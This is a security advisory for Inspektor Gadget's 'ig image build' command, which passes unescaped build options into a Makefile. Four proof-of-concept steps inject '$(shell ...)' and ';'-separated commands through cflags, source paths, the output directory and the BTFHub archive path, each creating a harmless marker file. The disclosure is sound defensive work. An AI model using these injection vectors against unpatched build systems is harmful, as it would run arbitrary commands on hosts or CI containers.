GHSA-79qw-g77v-2vfh Inspektor Gadget: Command Injection via malicious buildOptions manipulation

• Go github.com/inspektor-gadget/inspektor-gadget: < 0.51.1 → fixed in 0.51.1

Impacted Resources `inspektor-gadget/cmd/common/image/build.go` `inspektor-gadget/cmd/common/image/helpers/Makefile.build` Description The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The following is the code responsible to construct the build command: ```go func buildCmd(options buildOptions) []string { cmd := []string{ "make", "-f", filepath.Join(options.outputDir, "Makefile.build"), "-j", fmt.Sprintf("%d", runtime.NumCPU()), "OUTPUTDIR=" + options.outputDir, "CFLAGS=" + options.cFlags, "FORCE_COLORS=" + options.forceColorsFlag, } if options.ebpfSourcePath != "" { cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf") } if options.wasmSourcePath != "" { cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm") } if options.btfgen { cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen") } return cmd } ``` The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. This implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. Impact An attacker able to exploit this vulnerability would be able to execute arbitray command: • on the Linux host where the `ig` command is launched, if images are built with the `--local` flag • on the build container invoked by `ig`, if the `--local` flag is not provided Attack Complexity The `buildOptions` structure is extracted from the YAML gadget manifest passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. PoC PoC 1 (Vector: cflags) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "program.bpf.c" metadata: "gadget.yaml" cflags: " ; touch poc1.txt ; " ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test description: test gadget ``` 3. Create the file `program.bpf.c` with the following content: ``` include char LICENSE[] SEC("license") = "GPL"; ``` 4. In the same directory where the files are run the command: ``` ig image build . -t test:latest ``` 5. Notice that the file `poc1.txt` gets created inside the directory. PoC2 (Vector: ebpfsource, wasm) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "$(shell touch poc2-1.txt)" wasm: "$(shell touch poc2-2.txt)" ``` 2. Create the file `$(shell touch poc2-1.txt)`: ``` touch '$(shell touch poc2-1.txt)' ``` 3. In the same directory where the files are run the command: ``` ig image build . ``` 4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory. PoC3 (Vector: -o, --output) 1. Create the file `build.yaml` with the following content: ``` wasm: dummy.go ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test ``` 3. Create the directory `$(shell touch poc3.txt)`: ``` touch '$(shell touch poc3.txt)' ``` 4. Retrieve the full path of the created directory: ``` readlink -f '$(shell touch poc3.txt)' ``` 5. In the same directory where the files are run the command replacing the `` placeholder with the value retrieved at step 4: ``` ig image build . --local -o '' ``` 6. Notice that the file `poc3.txt` gets created inside the directory. PoC4 (Vector: --btfhub-archive) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: test.c ``` 2. Create the file `test.c`: ``` touch test.c ``` 3. In the same directory where the files are run the command ``` sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)' ``` 4. Notice that the file `poc4.txt` gets created inside the directory. Suggested Remediation Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution. References • https://cwe.mitre.org/data/definitions/77.html • https://cwe.mitre.org/data/definitions/78.html